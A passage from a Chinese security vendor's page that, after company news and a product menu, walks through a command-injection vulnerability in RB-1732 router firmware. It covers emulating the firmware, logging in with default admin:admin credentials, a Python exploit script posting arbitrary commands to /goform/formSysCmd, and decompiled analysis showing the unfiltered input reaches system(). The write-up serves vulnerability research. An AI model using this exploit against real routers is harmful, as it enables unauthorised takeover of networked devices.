2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
容灾演练双月报|美创助力某特大型通信基础设施央企顺利完成多个核心系统异地容灾演练
2025-01-10
国家级|美创、徐医附院共建项目入选工信部《2024年网络安全技术应用典型案例拟支持项目名单》
2024-12-20
全球数据跨境流动合作倡议
2024-11-22
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API安全 API审计 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务在这里该固件的环境模拟主要通过firmware-analysis-toolkit工具实现,该工具集成了主流的几款自动化固件模拟工具。这里推荐大家下载attifyos3.0,其中已安装firmware-analysis-toolkit工具
attifyos3.0下载地址:https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ提取码:zshs
本次漏洞分析所使用的固件版本为:RB-1732_TC_v2.0.43
固件下载地址:https://share.weiyun.com/5Z9kOYc
进入attifyos虚拟机中,切换目录至~/tools/firmware-analysis-toolkit
将RB-1732_TC_v2.0.43.bin放置到虚拟机中,在这里我的位置为/home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin
在命令行中执行 python3 fat.py /home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin
这里首先会进行网络的自动化配置,当显示br0的网络地址时,表示模拟器网络已配置好,记住此时的br0地址为192.168.1.1
此时回车,进行固件的部署,稍等片刻,显示如下图则表示环境已部署完成
访问http://192.168.1.1/admin.asp,此时显示路由器的管理页面,默认账号密码为admin:admin,表示环境已模拟完成
使用admin:admin默认账号登录后台,页面显示如下
接下来访问http://192.168.1.1/syscmd.asp,进入到命令执行页
输入ifconfig命令,成功执行
通过漏洞利用脚本执行结果如下
rb1732_exploit.py脚本内容如下
import requestsimport sysdef test_httpcommand(ip, command): my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''} r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data) content = r.text content = content[ content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56: content.rfind('</textarea>')] return content print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
根据syscmd.asp页面,输入ifconfig命令,抓包可知,真正执行命令的后台程序为/goform/formSysCmd,命令的参数名为sysCmd。
接下来使用binwalk进行固件提取,尝试进行源码分析,命令为binwalk -Me RB-1732_TC_v2.0.43.bin
进入到_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root中,grep -r "formSysCmd",全局查找存在该字符的位置
file bin/webs,查看程序文件格式,为mips 32位程序
crtl +F 查找formSyscmd字段
可以看到有2个位置存在该字段,分别位于004044DB和00471A44两个位置,首先双击004044DB的位置进入
继续双击formSysCmd,进入该函数的定义
F5进行反编译查看伪代码
到这里我们可以清楚地看到,formSysCmd函数通过websGetVar函数获取用户的输入,包括有submit_url、sysCmd、writeData、filename、fpath、readfile的参数值。其中v3为sysCmd的参数值
接下来在没有过滤v3值的情况下,通过snprintf格式化拼接字符串,得到 v20= &v3 2>&1 > /tmp/syscmd.log
最终调用system函数执行v20的字符串。
这里将v3设置成ifconfig,我们在本地执行查看效果,可以看到命令成功执行,并将结果返回到syscmd.log,因此只要命令在syscmd参数位置输入系统命令,则可导致命令执行漏洞